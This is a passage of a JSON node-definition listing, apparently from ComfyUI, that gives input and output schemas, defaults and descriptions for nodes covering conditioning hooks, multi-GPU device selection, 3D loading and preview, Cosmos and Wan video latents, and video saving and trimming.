["CONDITIONING"], "negative_A": ["CONDITIONING"], "positive_B": ["CONDITIONING"], "negative_B": ["CONDITIONING"]}}, "input_order": {"required": ["positive_A", "negative_A", "positive_B", "negative_B"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningCombine", "display_name": "Cond Pair Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SetClipHooks": {"input": {"required": {"clip": ["CLIP"], "apply_to_conds": ["BOOLEAN", {"default": true, "advanced": true}], "schedule_clip": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["clip", "apply_to_conds", "schedule_clip"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "SetClipHooks", "display_name": "Set CLIP Hooks", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/clip", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningTimestepsRange": {"input": {"required": {"start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["start_percent", "end_percent"]}, "is_input_list": false, "output": ["TIMESTEPS_RANGE", "TIMESTEPS_RANGE", "TIMESTEPS_RANGE"], "output_is_list": [false, false, false], "output_name": ["TIMESTEPS_RANGE", "BEFORE_RANGE", "AFTER_RANGE"], "name": "ConditioningTimestepsRange", "display_name": "Timesteps Range", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["prompt scheduling", "timestep segments", "conditioning phases"]}, "MultiGPU_WorkUnits": {"input": {"required": {"model": ["MODEL", {}], "max_gpus": ["INT", {"default": 2, "min": 1, "step": 1}]}}, "input_order": {"required": ["model", "max_gpus"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "MultiGPU_WorkUnits", "display_name": "MultiGPU CFG Split", "description": "Prepares model to have sampling accelerated via splitting work units.\n\nShould be placed after nodes that modify the model object itself, such as compile or attention-switch nodes.\n\nOther than those exceptions, this node can be placed in any order.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectModelDevice": {"input": {"required": {"model": ["MODEL", {}], "device": ["COMBO", {"multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["model", "device"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectModelDevice", "display_name": "Select Model Device", "description": "Place the diffusion model on a specific device (default / cpu / gpu:N).\n\n- \"default\" restores the device assigned by the loader (even after a\n prior Select Model Device call).\n- \"cpu\" pins both the load and offload device to CPU.\n- \"gpu:N\" pins the load device to the Nth available GPU; the offload\n device is restored to the loader's original choice.\n\nWhen the requested device differs from the device the input model is\nalready on, a fresh model is spawned via the loader's reload factory\n(cached_patcher_init) so the new patcher owns independent weights on\nthe new device. Loaders that don't support multigpu (no factory) will\ncause the node to pass through unchanged with a warning.\n\nIf the workflow already has MultiGPU CFG Split applied and the chosen\nGPU collides with one of the existing multigpu clones, that clone is\ndropped so two patchers don't end up bound to the same device.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the model through unchanged and logs a message\ninstead of failing.\n\nNOTE: Placing Select Model Device *after* a node that has already\nconsumed the same model (e.g. a KSampler that ran on this model on\nthe original device) is not recommended -- any state the prior\nconsumer mutated on the original model will be observed when the\nselected device matches the original (fast path). Place Select Model\nDevice before any consumer of the model.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectCLIPDevice": {"input": {"required": {"clip": ["CLIP", {}], "device": ["COMBO", {"multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["clip", "device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectCLIPDevice", "display_name": "Select CLIP Device", "description": "Place the CLIP text encoder on a specific device (default / cpu / gpu:N).\n\n- \"default\" restores the device assigned by the loader.\n- \"cpu\" pins both the load and offload device to CPU.\n- \"gpu:N\" pins the load device to the Nth available GPU.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the CLIP through unchanged and logs a message\ninstead of failing.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SelectVAEDevice": {"input": {"required": {"vae": ["VAE", {}], "device": ["COMBO", {"multiselect": false, "options": ["default"]}]}}, "input_order": {"required": ["vae", "device"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["VAE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelectVAEDevice", "display_name": "Select VAE Device", "description": "Place the VAE on a specific device (default / gpu:N).\n\n- \"default\" restores the device assigned by the loader.\n- \"gpu:N\" pins the load device to the Nth available GPU; the offload\n device is set to the standard VAE offload device.\n\nCPU is intentionally not exposed in the UI for the VAE; if a workflow\nsupplies \"cpu\" anyway (e.g. opened from another machine), the request\nis dropped with a log message and the VAE is passed through unchanged.\n\nWhen the selected device does not exist on the current machine\n(e.g. a workflow built on a 2-GPU box opened on a 1-GPU box),\nthe node passes the VAE through unchanged and logs a message\ninstead of failing.", "python_module": "comfy_extras.nodes_multigpu", "category": "advanced/multigpu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Load3D": {"input": {"required": {"model_file": ["COMBO", {"multiselect": false, "options": ["none"], "file_upload": true}], "image": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}}, "input_order": {"required": ["model_file", "image", "width", "height"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "STRING", "IMAGE", "LOAD3D_CAMERA", "VIDEO", "FILE_3D", "LOAD3D_MODEL_INFO"], "output_is_list": [false, false, false, false, false, false, false, false], "output_name": ["image", "mask", "mesh_path", "normal", "camera_info", "recording_video", "model_3d", "model_3d_info"], "output_tooltips": [null, null, null, null, null, null, null, null], "output_matchtypes": null, "name": "Load3D", "display_name": "Load 3D & Animation", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Basics", "has_intermediate_output": false}, "Load3DAdvanced": {"input": {"required": {"model_file": ["COMBO", {"multiselect": false, "options": ["none"], "file_upload": true}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}}, "input_order": {"required": ["model_file", "viewport_state", "width", "height"]}, "is_input_list": false, "output": ["FILE_3D", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "Load3DAdvanced", "display_name": "Load 3D (Advanced)", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load mesh", "load gltf", "load glb", "load obj", "load fbx", "load stl"], "essentials_category": null, "has_intermediate_output": false}, "Preview3D": {"input": {"required": {"model_file": ["STRING,FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D_USDZ,FILE_3D", {"default": "", "widgetType": "STRING", "multiline": false, "tooltip": "3D model file or path string"}]}, "optional": {"camera_info": ["LOAD3D_CAMERA", {"advanced": true}], "bg_image": ["IMAGE", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_file"], "optional": ["camera_info", "bg_image"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "Preview3D", "display_name": "Preview 3D & Animation", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view mesh", "3d viewer"], "essentials_category": null, "has_intermediate_output": false}, "Preview3DAdvanced": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D_USDZ,FILE_3D", {"tooltip": "3D model file from an upstream 3D node."}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "Preview3DAdvanced", "display_name": "Preview 3D (Advanced)", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["preview 3d", "3d viewer", "view mesh", "frame 3d", "3d camera output"], "essentials_category": null, "has_intermediate_output": false}, "PreviewGaussianSplat": {"input": {"required": {"model_3d": ["FILE_3D_SPLAT_ANY,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_SPZ,FILE_3D_KSPLAT", {"tooltip": "A gaussian splat 3D file."}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D_SPLAT_ANY", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "PreviewGaussianSplat", "display_name": "Preview Splat", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view splat", "view gaussian", "view gaussian splat", "preview gaussian", "preview gaussian splat", "view 3dgs", "preview 3dgs", "preview ply", "preview spz", "preview splat", "preview ksplat"], "essentials_category": null, "has_intermediate_output": false}, "PreviewPointCloud": {"input": {"required": {"model_3d": ["FILE_3D_POINT_CLOUD_ANY,FILE_3D_PLY", {"tooltip": "Point cloud file (.ply)"}], "viewport_state": ["LOAD_3D", {}], "width": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}], "height": ["INT", {"default": 1024, "min": 1, "max": 4096, "step": 1}]}, "optional": {"model_3d_info": ["LOAD3D_MODEL_INFO", {"advanced": true}], "camera_info": ["LOAD3D_CAMERA", {"advanced": true}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_3d", "viewport_state", "width", "height"], "optional": ["model_3d_info", "camera_info"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["FILE_3D_POINT_CLOUD_ANY", "LOAD3D_MODEL_INFO", "LOAD3D_CAMERA", "INT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model_3d", "model_3d_info", "camera_info", "width", "height"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "PreviewPointCloud", "display_name": "Preview Point Cloud", "description": "", "python_module": "comfy_extras.nodes_load_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["view point cloud", "view pointcloud", "preview point cloud", "preview pointcloud", "preview ply"], "essentials_category": null, "has_intermediate_output": false}, "EmptyCosmosLatentVideo": {"input": {"required": {"width": ["INT", {"default": 1280, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 704, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyCosmosLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/latent/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CosmosImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 1280, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 704, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "end_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "CosmosImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/conditioning/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CosmosPredict2ImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 93, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "end_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "CosmosPredict2ImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/conditioning/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveWEBM": {"input": {"required": {"images": ["IMAGE", {"tooltip": "RGBA images are saved with their alpha channel as transparency (vp9 codec only)."}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "codec": ["COMBO", {"multiselect": false, "options": ["vp9", "av1"]}], "fps": ["FLOAT", {"default": 24.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "crf": ["FLOAT", {"tooltip": "Higher crf means lower quality with a smaller file size, lower crf means higher quality higher filesize.", "default": 32.0, "min": 0, "max": 63.0, "step": 1}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "codec", "fps", "crf"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveWEBM", "display_name": "Save WEBM", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export webm"], "essentials_category": null, "has_intermediate_output": false}, "SaveVideo": {"input": {"required": {"video": ["VIDEO", {"tooltip": "The video to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes.", "default": "video/ComfyUI", "multiline": false}], "format": ["COMBO", {"tooltip": "The format to save the video as.", "default": "auto", "multiselect": false, "options": ["auto", "mp4"]}], "codec": ["COMBO", {"tooltip": "The codec to use for the video.", "default": "auto", "multiselect": false, "options": ["auto", "h264"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["video", "filename_prefix", "format", "codec"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["video"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveVideo", "display_name": "Save Video", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export video"], "essentials_category": "Basics", "has_intermediate_output": false}, "CreateVideo": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to create a video from."}], "fps": ["FLOAT", {"default": 30.0, "min": 1.0, "max": 120.0, "step": 1.0}]}, "optional": {"audio": ["AUDIO", {"tooltip": "The audio to add to the video."}], "bit_depth": ["INT", {"tooltip": "Bit depth of the created video. 10-bit keeps smoother gradients with less banding, but some players and downstream nodes may not support it.", "default": 8, "min": 8, "max": 10, "step": 2, "display": "number"}]}}, "input_order": {"required": ["images", "fps"], "optional": ["audio", "bit_depth"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "CreateVideo", "display_name": "Create Video", "description": "Create a video from images.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["images to video"], "essentials_category": "Video Tools", "has_intermediate_output": false}, "GetVideoComponents": {"input": {"required": {"video": ["VIDEO", {"tooltip": "The video to extract components from."}]}}, "input_order": {"required": ["video"]}, "is_input_list": false, "output": ["IMAGE", "AUDIO", "FLOAT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["images", "audio", "fps", "bit_depth"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "GetVideoComponents", "display_name": "Get Video Components", "description": "Extracts all components from a video: frames, audio, framerate, and bit depth.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract frames", "split video", "video to images", "demux"], "essentials_category": null, "has_intermediate_output": false}, "LoadVideo": {"input": {"required": {"file": ["COMBO", {"multiselect": false, "options": [], "video_upload": true}]}}, "input_order": {"required": ["file"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadVideo", "display_name": "Load Video", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import video", "open video", "video file"], "essentials_category": "Basics", "has_intermediate_output": false}, "Video Slice": {"input": {"required": {"video": ["VIDEO", {}], "start_time": ["FLOAT", {"tooltip": "Start time in seconds", "default": 0.0, "min": -100000.0, "max": 100000.0, "step": 0.001}], "duration": ["FLOAT", {"tooltip": "Duration in seconds, or 0 for unlimited duration", "default": 0.0, "min": 0.0, "step": 0.001}], "strict_duration": ["BOOLEAN", {"tooltip": "If True, when the specified duration is not possible, an error will be raised.", "default": false}]}}, "input_order": {"required": ["video", "start_time", "duration", "strict_duration"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Video Slice", "display_name": "Trim Video", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim video duration", "skip first frames", "frame load cap", "start time"], "essentials_category": "Video Tools", "has_intermediate_output": false}, "CLIPTextEncodeLumina2": {"input": {"required": {"system_prompt": ["COMBO", {"tooltip": "Lumina2 provide two types of system prompts:Superior: You are an assistant designed to generate superior images with the superior degree of image-text alignment based on textual prompts or user prompts. Alignment: You are an assistant designed to generate high-quality images with the highest degree of image-text alignment based on textual prompts.", "multiselect": false, "options": ["superior", "alignment"]}], "user_prompt": ["STRING", {"tooltip": "The text to be encoded.", "multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {"tooltip": "The CLIP model used for encoding the text."}]}}, "input_order": {"required": ["system_prompt", "user_prompt", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": ["A conditioning containing the embedded text used to guide the diffusion model."], "output_matchtypes": null, "name": "CLIPTextEncodeLumina2", "display_name": "CLIP Text Encode (Lumina 2)", "description": "Encodes a system prompt and a user prompt using a CLIP model into an embedding that can be used to guide the diffusion model towards generating specific images.", "python_module": "comfy_extras.nodes_lumina2", "category": "model/conditioning/lumina", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["lumina prompt"], "essentials_category": null, "has_intermediate_output": false}, "RenormCFG": {"input": {"required": {"model": ["MODEL", {}], "cfg_trunc": ["FLOAT", {"advanced": true, "default": 100, "min": 0.0, "max": 100.0, "step": 0.01}], "renorm_cfg": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "cfg_trunc", "renorm_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "RenormCFG", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lumina2", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTrackToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "tracks": ["STRING", {"default": "[]", "multiline": true}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "temperature": ["FLOAT", {"advanced": true, "default": 220.0, "min": 1.0, "max": 1000.0, "step": 0.1}], "topk": ["INT", {"advanced": true, "default": 2, "min": 1, "max": 10}], "start_image": ["IMAGE", {}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "tracks", "width", "height", "length", "batch_size", "temperature", "topk", "start_image"], "optional": ["clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanTrackToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["motion tracking", "trajectory video", "point tracking", "keypoint animation"], "essentials_category": null, "has_intermediate_output": false}, "WanImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFunControlToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFunControlToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun control", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan22FunControlToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["ref_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "Wan22FunControlToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun control", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFunInpaintToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "end_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFunInpaintToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun inpaint", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": 